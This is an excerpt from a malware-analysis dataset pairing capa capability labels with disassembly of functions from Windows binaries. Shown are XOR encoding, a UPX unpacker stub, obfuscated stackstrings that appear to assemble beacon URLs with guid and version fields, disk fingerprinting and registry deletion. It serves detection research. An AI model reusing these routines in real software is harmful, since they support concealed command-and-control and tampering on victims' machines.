joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d9c0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov al, byte [0x42bd18]
push ebx
push esi
push edi
push 0x60bfffff
push 0xff35ffff
mov byte [0x42bcde], al
call fcn.0040e4c0
movsx ecx, byte [0x42bcda]
push ecx
push 0xc54dffff
mov word [0x42bce8], ax
call fcn.0040e580
movsx edx, byte [0x42bcde]
push edx
push 0x8ebbffff
mov word [0x42bcee], ax
call fcn.0040e6b0
mov esi, dword [esp + 0x2c]
mov word [0x42bce2], ax
movsx eax, byte [0x42bcdf]
mov ebx, dword [esi]
push eax
push 0xd8cdffff
call fcn.0040e540
mov dl, byte [0x42bd04]
mov byte [0x42bcdc], al
mov ecx, dword [esi + 4]
push 0x1351ffff
push 0x7b23ffff
mov dword [esp + 0x3c], ecx
mov byte [0x42bcdc], dl
call fcn.0040e4c0
movsx ecx, byte [0x42bcd9]
mov byte [0x42bcd8], al
mov eax, dword [0x42bd08]
push eax
push ecx
call fcn.0040e580
mov byte [0x42bcd9], al
mov eax, dword [esp + 0x4c]
add esp, 0x30
xor edi, edi
test eax, eax
mov byte [0x42bcdb], 0xff
jle 0x41dbde
mov eax, dword [0x42bd10]
push ebp
mov ebp, dword [esp + 0x1c]
push eax
push 0x8185ffff
mov word [0x42bcf2], 0xfffe
call fcn.0040e500
movsx edx, byte [0x42bce0]
push edx
push 0x1ef5ffff
mov dword [0x42bcfc], eax
call fcn.0040e580
inc bl
mov cl, byte [0x42bcf8]
and ebx, 0xff
mov byte [0x42bcdb], al
mov eax, ebx
push 0x2835ffff
mov dword [esp + 0x30], eax
push 0x3dfdffff
mov ebx, dword [esi + eax*4 + 8]
mov al, byte [0x42bcd8]
sub al, cl
mov cl, byte [0x42bce8]
add cl, al
mov dword [esp + 0x28], ebx
mov byte [0x42bcd8], al
mov byte [0x42bcdc], cl
call fcn.0040e540
push 0x7b83ffff
push 0xa6a9ffff
mov byte [0x42bcda], al
call fcn.0040e580
mov edx, dword [0x42bd18]
mov byte [0x42bce0], al
mov al, byte [esp + 0x38]
push 0x732bffff
add bl, al
push edx
and ebx, 0xff
mov dword [esp + 0x40], ebx
call fcn.0040e500
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x38]
mov byte [0x42bcdc], al
mov eax, dword [esp + 0x44]
mov ebx, dword [esi + ebx*4 + 8]
push 0xb35fffff
mov dword [esi + eax*4 + 8], ebx
mov word [0x42bce4], 0xffff
push 0x46c3ffff
mov dword [esi + edx*4 + 8], ecx
call fcn.0040e620
mov dl, byte [esp + 0x40]
mov byte [0x42bcdb], al
mov al, byte [0x42bcdd]
add bl, dl
inc al
and ebx, 0xff
mov byte [0x42bcde], al
mov al, byte [edi + ebp]
mov cl, byte [esi + ebx*4 + 8]
xor al, cl
mov byte [edi + ebp], al
mov dl, byte [0x42bd00]
mov eax, dword [0x42bd04]
mov byte [0x42bcda], 0xff
and dl, al
push eax
mov eax, dword [0x42bd0c]
mov byte [0x42bcdf], dl
push eax
call fcn.0040e540
mov ecx, dword [esp + 0x58]
mov ebx, dword [esp + 0x54]
add esp, 0x38
inc edi
cmp edi, ecx
mov dword [0x42bd10], eax
jl 0x41da91
pop ebp
mov ecx, dword [0x42bd04]
push ecx
push 0x2ecdffff
call fcn.0040e540
mov byte [0x42bcd8], al
mov dword [esi], ebx
movsx edx, byte [0x42bcdd]
push 0xca73ffff
push edx
call fcn.0040e5d0
mov cl, byte [0x42bcdf]
add esp, 0x10
xor eax, eax
test cl, cl
mov ecx, dword [esp + 0x14]
pop edi
setne al
mov word [0x42bce4], ax
mov dword [esi + 4], ecx
movsx edx, byte [0x42bcdc]
or edx, 0xe32dffff
pop esi
mov byte [0x42bcd9], 0xff
mov dword [0x42bd18], edx
pop ebx
pop ecx
ret
Function at 0x422430
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x425a59
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0x14], esi
call dword [sym.imp.MSVCP60.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Init_void_]
mov ebx, dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::_Lockit::constructor_void_]
lea ecx, [esp + 0x10]
mov dword [esi + 0x34], eax
call ebx
mov eax, dword [sym.imp.MSVCP60.dll_class_std::locale::_Locimp__std::locale::_Locimp::_Global]
lea ecx, [esp + 0xc]
mov edi, dword [eax]
call ebx
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x42247f
inc eax
mov dword [edi + 4], eax
mov edi, dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
lea ecx, [esp + 0xc]
call edi
lea ecx, [esp + 0x10]
call edi
lea ecx, [esi + 4]
lea edx, [esi + 0x14]
mov dword [esi + 0xc], ecx
lea ecx, [esi + 0x18]
mov dword [esi + 0x1c], edx
mov dword [esi + 0x20], ecx
lea eax, [esi + 8]
lea edx, [esi + 0x24]
lea ecx, [esi + 0x28]
mov dword [esi + 0x10], eax
mov dword [esi + 0x2c], edx
mov dword [esi + 0x30], ecx
mov dword [eax], 0
mov edx, dword [esi + 0x20]
mov dword [edx], 0
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov ecx, dword [esi + 0xc]
mov dword [ecx], 0
mov edx, dword [esi + 0x1c]
mov dword [edx], 0
mov eax, dword [esi + 0x2c]
mov dword [eax], 0
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
mov dword [esi], 0x4263bc
call dword [sym.imp.MSVCP60.dll_protected:_void___thiscall_std::strstreambuf::_Init_int__char___char___int_]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x423010
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov al, byte [0x42bbac]
sub al, 0x1b
and eax, 0xff
add eax, 3
and al, 0xfc
call fcn.00424380
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov ecx, esp
push eax
push edx
mov edx, 0x42bbac
call fcn.00422bc0
push eax
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
lea esp, [ebp]
pop ebp
ret
Function at 0x80cdc0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x271000]
lea eax, [edi + 0x2946c4]
push dword [eax]
mov dword [eax], 0xdc6e9090
push eax
push edi
jmp 0x80cdea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x80cdf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x80cde0
mov eax, 1
add ebx, ebx
jne 0x80ce03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x80ce14
jne 0x80ce33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x80ce33
dec eax
add ebx, ebx
jne 0x80ce20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x80cdf8
add ebx, ebx
jne 0x80ce2f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x80ce85
xor ecx, ecx
sub eax, 3
jb 0x80ce4b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x80ceba
sar eax, 1
mov ebp, eax
jmp 0x80ce56
add ebx, ebx
jne 0x80ce56
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x80ce24
inc ecx
add ebx, ebx
jne 0x80ce64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x80ce24
add ebx, ebx
jne 0x80ce71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x80ce66
jne 0x80ce82
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x80ce66
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x80cea4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x80ce96
jmp 0x80cde6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x80cea4
add edi, ecx
jmp 0x80cde6
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x101cb
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x80cec6
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x80cecb
lea edi, [esi + 0x409000]
mov eax, dword [edi]
or eax, eax
je 0x80cf3c
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x412650]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4127e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x80cef1
mov ecx, edi
jns 0x80cf20
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4127f0]
or eax, eax
je 0x80cf36
mov dword [ebx], eax
add ebx, 4
jmp 0x80cf0e
call dword [esi + 0x4127ec]
mov ebp, dword [esi + 0x4127f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x267]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x80cf70
sub esp, 0xffffff80
jmp 0x557468
Function at 0x10001cb5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10001d0c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001cfd
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [esp + 0x10]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x10001cf9
cmp esi, ecx
jae 0x10001cfd
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x10001ce9
cmp esi, ecx
jb 0x10001d01
xor eax, eax
jmp 0x10001d0b
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x10002002
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x68
mov eax, 0x100781e5
call fcn.1006002c
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x70], ebx
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x68], 0x2f2f3a73
mov dword [ebp - 0x6c], 0x70747468
mov dword [ebp - 0x60], 0x6e657478
mov dword [ebp - 0x4f], 0x68702e6b
mov word [ebp - 0x57], 0x6f63
mov dword [ebp - 0x54], 0x6162662f
mov word [ebp - 0x4a], 0x3f
mov dword [ebp - 0x64], 0x656f7373
mov dword [ebp - 0x5c], 0x6e6f6973
mov byte [ebp - 0x55], 0x6d
mov byte [ebp - 0x58], 0x2e
mov byte [ebp - 0x4b], 0x70
mov byte [ebp - 0x50], 0x63
call fcn.1000866c
mov dword [ebp - 4], ebx
push 0x10083288
lea eax, [ebp - 0x48]
push eax
push esi
mov dword [ebp - 0x70], 1
mov word [ebp - 0x45], 0x6973
mov word [ebp - 0x48], 0x6576
mov byte [ebp - 0x46], 0x72
mov word [ebp - 0x43], 0x6e6f
mov word [ebp - 0x40], 0x7325
mov byte [ebp - 0x41], 0x3d
mov byte [ebp - 0x3e], bl
call fcn.1000c73c
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
mov word [ebp - 0x23], 0x7567
mov word [ebp - 0x1d], 0x73
mov word [ebp - 0x20], 0x3d64
mov byte [ebp - 0x24], 0x26
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x1e], 0x25
call fcn.10008b6e
lea eax, [ebp - 0x18]
push eax
mov ecx, esi
mov dword [ebp - 0x15], 0x73253d72
mov word [ebp - 0x17], 0x6176
mov byte [ebp - 0x18], 0x26
mov byte [ebp - 0x11], bl
call fcn.10008b6e
lea eax, [ebp - 0x3c]
push eax
mov ecx, esi
mov dword [ebp - 0x3b], 0x756c6176
mov word [ebp - 0x37], 0x3d65
mov word [ebp - 0x34], 0x64
mov byte [ebp - 0x35], 0x25
mov byte [ebp - 0x3c], 0x26
call fcn.10008b6e
mov word [ebp - 0x30], 0x7426
mov dword [ebp - 0x2d], 0x253d656d
mov word [ebp - 0x29], 0x64
mov byte [ebp - 0x2e], 0x69
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x30]
push eax
push esi
call fcn.1000c73c
add esp, 0xc
mov eax, esi
call fcn.1005ffea
ret
Function at 0x10002151
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10099790]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x34], 0
push esi
lea eax, [ebp - 0x30]
push eax
mov esi, ecx
mov dword [ebp - 0xd], 0x253d6469
mov dword [ebp - 0x15], 0x702e7473
mov word [ebp - 0x28], 0x7373
mov dword [ebp - 0x1f], 0x2e6e6f69
mov dword [ebp - 0x19], 0x6f702f6d
mov dword [ebp - 0x2f], 0x73707474
mov word [ebp - 0x25], 0x7865
mov word [ebp - 9], 0x73
mov dword [ebp - 0x11], 0x753f7068
mov word [ebp - 0x1b], 0x6f63
mov word [ebp - 0x22], 0x6e65
mov word [ebp - 0x2a], 0x2f2f
mov byte [ebp - 0x2b], 0x3a
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x30], 0x68
mov byte [ebp - 0x20], 0x73
call fcn.1000866c
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1005801c
leave
ret
Function at 0x100028c6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xa4
mov eax, 0x10078341
call fcn.1006002c
xor ebx, ebx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0xb0]
mov word [ebp - 0x28], 0x7468
mov dword [ebp - 0x23], 0x2f2f3a
mov word [ebp - 0x25], 0x7370
mov byte [ebp - 0x26], 0x74
mov dword [ebp - 0x31], 0x2e746573
mov word [ebp - 0x33], 0x7263
mov dword [ebp - 0x2d], 0x706870
mov byte [ebp - 0x34], 0x2f
call fcn.10001f45
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.100016ac
push eax
lea ecx, [ebp - 0xac]
call fcn.10007e99
push eax
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 2
call fcn.1000ca10
pop ecx
lea ecx, [ebp - 0x34]
push ecx
mov edx, eax
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 3
call fcn.1000ca39
pop ecx
lea ecx, [ebp - 0x4c]
call fcn.10007f83
lea ecx, [ebp - 0xac]
call fcn.10007f83
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 7
call fcn.100086b0
lea edx, [ebp + 8]
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x1c], 0x61746164
mov word [ebp - 0x18], 0x3d
call fcn.1000277b
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 8
call fcn.1000ca10
pop ecx
lea ecx, [ebp - 0x94]
call fcn.10007f83
lea ecx, [ebp - 0x4c]
call fcn.10007e74
sub esp, 0x18
lea eax, [ebp - 0x7c]
mov ecx, esp
push eax
mov byte [ebp - 4], 0xb
call fcn.10007e2e
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x64]
call fcn.1000807f
push eax
call fcn.1000ea99
mov edx, 0x10083294
lea ecx, [ebp - 0x4c]
call fcn.1000ca62
test al, al
jne 0x10002a04
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0xa
call fcn.10007f83
inc ebx
cmp ebx, 5
jl 0x100029a8
jmp 0x10002a0c
lea ecx, [ebp - 0x4c]
call fcn.10007f83
lea ecx, [ebp - 0x7c]
call fcn.10007f83
lea ecx, [ebp - 0x64]
call fcn.10007f83
lea ecx, [ebp + 8]
call fcn.10007f83
call fcn.1005ffea
ret
Function at 0x100034c6
Capabilities:
Contain obfuscated stackstrings
Get disk information

Disassembly:
push 0x660
mov eax, 0x10078286
call fcn.1006002c
mov esi, ecx
xor ebx, ebx
push 0x100831f5
lea ecx, [ebp - 0x65c]
mov dword [ebp - 0x66c], ebx
call fcn.1000866c
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x1c]
push eax
mov word [ebp - 0x16], 0x2e32
mov word [ebp - 0x19], 0x6c6c
mov word [ebp - 0x1c], 0x6853
mov word [ebp - 0x13], 0x6c6c
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x17], 0x33
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x14], 0x64
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10003659
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x20], 0x576874
mov word [ebp - 0x26], 0x646c
mov dword [ebp - 0x34], 0x65474853
mov word [ebp - 0x29], 0x466c
mov dword [ebp - 0x30], 0x65705374
mov word [ebp - 0x23], 0x5072
mov word [ebp - 0x2c], 0x6963
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x2a], 0x61
mov byte [ebp - 0x27], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10003659
xor eax, eax
mov ebx, 0x208
push ebx
push eax
mov word [ebp - 0x448], ax
lea eax, [ebp - 0x446]
push eax
call fcn.1005b850
xor eax, eax
push ebx
mov word [ebp - 0x654], ax
xor ebx, ebx
lea eax, [ebp - 0x652]
push ebx
push eax
call fcn.1005b850
xor eax, eax
push 0x206
mov word [ebp - 0x23c], ax
lea eax, [ebp - 0x23a]
push ebx
push eax
mov dword [ebp - 0x660], ebx
mov dword [ebp - 0x664], ebx
mov dword [ebp - 0x668], ebx
call fcn.1005b850
add esp, 0x24
lea eax, [ebp - 0x23c]
push ebx
push 0x25
push eax
push ebx
call edi
xor eax, eax
mov word [ebp - 0x236], ax
mov ecx, 0x105
push ecx
lea eax, [ebp - 0x654]
push eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x664]
push eax
lea eax, [ebp - 0x660]
push eax
push ecx
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x10003659
push dword [ebp - 0x660]
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x65c]
push eax
mov dword [ebp - 0x658], 0x756c25
call fcn.1000c729
add esp, 0xc
lea ecx, [ebp - 0x65c]
call fcn.100016ac
push eax
mov ecx, esi
call fcn.10008c66
lea ecx, [ebp - 0x65c]
call fcn.100086b0
mov eax, esi
call fcn.1005ffea
ret
Function at 0x10003a77
Capabilities:
Contain obfuscated stackstrings
Read file via mapping

Disassembly:
push 0xffffffffffffffff
push 0x10077ff2
mov eax, dword fs:[0]
push eax
sub esp, 0x8c4
mov eax, dword [0x10099790]
xor eax, esp
mov dword [esp + 0x8c0], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10099790]
xor eax, esp
push eax
lea eax, [esp + 0x8d8]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0xd9]
push ebx
push eax
mov dword [esp + 0xcd], 0x62667676
mov word [esp + 0xd1], 0x68
mov byte [esp + 0xcc], 0x73
mov dword [esp + 0xb9], 0x6e686266
mov word [esp + 0xbe], 0x6d6a
mov byte [esp + 0xb8], 0x76
mov byte [esp + 0xbd], 0x6a
mov byte [esp + 0xc0], bl
mov byte [esp + 0xe0], bl
call fcn.1005b850
add esp, 0xc
lea ecx, [esp + 0x4c]
call fcn.1000ec06
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0xac]
push eax
call esi
push eax
lea eax, [esp + 0xb0]
push eax
lea ecx, [esp + 0x54]
call fcn.1000f696
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x50]
call fcn.1000f846
mov ecx, eax
mov dword [esp + 0x8e0], ebx
call fcn.1000807f
push eax
lea ecx, [esp + 0x18]
call fcn.1000866c
lea ecx, [esp + 0x34]
mov byte [esp + 0x8e0], 2
call fcn.10007f83
lea ecx, [esp + 0x14]
call fcn.100016ac
mov ebp, eax
push edi
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0xc0]
push eax
mov edi, 0x400
lea eax, [esp + 0xe0]
push edi
push eax
mov dword [esp + 0xcc], 0x73257325
mov byte [esp + 0xd0], bl
call fcn.100586d9
add esp, 0x14
lea ecx, [esp + 0x4c]
call fcn.1000ec06
lea eax, [esp + 0xd4]
push eax
call esi
push eax
lea eax, [esp + 0xd8]
push eax
lea ecx, [esp + 0x54]
call fcn.1000f696
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x50]
call fcn.1000f846
mov ecx, eax
mov byte [esp + 0x8e0], 3
call fcn.1000807f
push eax
lea ecx, [esp + 0x1c]
call fcn.1000866c
lea ecx, [esp + 0x1c]
call fcn.10007f83
lea ecx, [esp + 0x18]
mov dword [esp + 0xc9], 0x61626f6c
mov dword [esp + 0xce], 0x73255c
mov byte [esp + 0xc8], 0x47
mov byte [esp + 0xcd], 0x6c
call fcn.100016ac
push eax
lea eax, [esp + 0xcc]
push eax
lea eax, [esp + 0xdc]
push edi
push eax
call fcn.100586d9
add esp, 0x10
lea eax, [esp + 0xd4]
push eax
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov edi, eax
test edi, edi
jne 0x10003c8d
lea ecx, [esp + 0x18]
call fcn.100086b0
lea ecx, [esp + 0x14]
call fcn.100086b0
xor al, al
jmp 0x10003cf5
push 0x400
push ebx
push ebx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x10003cda
push 0x400
lea eax, [esp + 0x4d8]
push esi
push eax
call fcn.1005b1c0
add esp, 0xc
lea edx, [esp + 0x4d4]
mov ecx, ebx
mov eax, dword [edx + ecx*4]
cmp eax, dword [ebp + ecx*4]
jne 0x10003cd3
inc ecx
cmp ecx, 8
jne 0x10003cc2
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
call fcn.100086b0
lea ecx, [esp + 0x14]
call fcn.100086b0
mov al, bl
mov ecx, dword [esp + 0x8d8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x8c0]
xor ecx, esp
call fcn.1005801c
add esp, 0x8d0
ret
Function at 0x10003de1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x64
mov eax, 0x100783aa
call fcn.1006002c
mov esi, edx
mov edi, ecx
and dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], edi
call fcn.10007e74
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x4d], 0x253d6469
mov word [ebp - 0x52], 0x6870
mov dword [ebp - 0x56], 0x2e736469
mov dword [ebp - 0x48], 0x253d6d26
mov word [ebp - 0x4f], 0x753f
mov byte [ebp - 0x50], 0x70
mov word [ebp - 0x58], 0x752f
mov word [ebp - 0x44], 0x73
mov byte [ebp - 0x49], 0x73
call fcn.10008646
push str.0748bff1273d4e6bb6ecf4e185e4f4d8
push esi
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 4], ebx
call fcn.1000c729
add esp, 0x10
lea ecx, [ebp - 0x60]
call fcn.10008646
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x3d], 0x2f3a7370
mov dword [ebp - 0x39], 0x2573252f
xor ebx, ebx
mov word [ebp - 0x35], 0x73
mov word [ebp - 0x40], 0x7468
mov byte [ebp - 0x3e], 0x74
call fcn.10001f45
mov byte [ebp - 4], 3
push dword [ebp - 0x68]
push dword [eax]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.1000c729
add esp, 0x10
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 2
call fcn.100086b0
mov esi, ebx
cmp esi, 3
jne 0x10003ef2
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x30], 0x73646975
mov dword [ebp - 0x2b], 0x706870
mov byte [ebp - 0x2c], 0x2e
mov word [ebp - 0x17], 0x2e64
mov byte [ebp - 0x18], 0x75
mov word [ebp - 0x14], 0x7068
mov byte [ebp - 0x12], bl
mov byte [ebp - 0x15], 0x70
call fcn.1000874a
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x5c]
call fcn.1000865a
mov byte [ebp - 4], 4
mov dword [ebp - 0x23], 0x656d6974
mov dword [ebp - 0x1f], 0x64253d
mov byte [ebp - 0x24], 0x26
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.1000c73c
add esp, 0xc
lea ecx, [ebp - 0x5c]
push edi
call fcn.100016ac
push eax
call fcn.1000e967
test al, al
je 0x10003f7f
lea ecx, [ebp - 0x64]
call fcn.10008646
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.1000807f
push eax
lea eax, [ebp - 0x64]
push 0x100832a4
push eax
call fcn.1000c729
add esp, 0xc
lea ecx, [ebp - 0x64]
call fcn.1000899b
mov ecx, eax
call fcn.10008bde
lea ecx, [ebp - 0x64]
cmp eax, 0x6c
je 0x10003fa2
call fcn.100086b0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 2
call fcn.100086b0
inc esi
cmp esi, 6
jl 0x10003eb4
jmp 0x10003faf
call fcn.100086b0
lea ecx, [ebp - 0x5c]
call fcn.100086b0
lea ecx, [ebp - 0x60]
call fcn.100086b0
lea ecx, [ebp - 0x68]
call fcn.100086b0
mov eax, edi
call fcn.1005ffea
ret
Function at 0x100047dd
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Delete registry value

Disassembly:
sub esp, 0x40
mov eax, dword [0x10099790]
xor eax, esp
mov dword [esp + 0x3c], eax
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push eax
push 0xf013f
xor ebx, ebx
push ebx
lea eax, [esp + 0x38]
push eax
mov ebp, reloc.WS2_32.dll_bind
push ebp
mov word [esp + 0x4b], 0x4f
mov word [esp + 0x41], 0x464f
mov dword [esp + 0x44], 0x45524157
mov word [esp + 0x48], 0x535c
mov byte [esp + 0x4a], 0x53
mov byte [esp + 0x40], 0x53
mov byte [esp + 0x43], 0x54
mov word [esp + 0x20], 0x6d74
mov byte [esp + 0x22], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10004862
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [esp + 0x18]
call esi
lea eax, [esp + 0x14]
push eax
push 0xf013f
push ebx
lea eax, [esp + 0x28]
push eax
push ebp
mov word [esp + 0x34], 0x4157
mov word [esp + 0x37], 0x45
mov dword [esp + 0x30], 0x54464f53
mov byte [esp + 0x36], 0x52
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100048b5
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x18]
mov dword [esp + 0x18], 0x4f5353
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x40], 0x776c6853
mov word [esp + 0x49], 0x6c6c
mov dword [esp + 0x44], 0x2e697061
mov byte [esp + 0x48], 0x64
mov byte [esp + 0x4b], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x10004930
lea eax, [esp + 0x1c]
push eax
push esi
mov dword [esp + 0x2e], 0x4165756c
mov dword [esp + 0x25], 0x6c654448
mov dword [esp + 0x29], 0x56657465
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x32], bl
mov byte [esp + 0x2d], 0x61
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004929
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0x30]
push ecx
push ebp
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
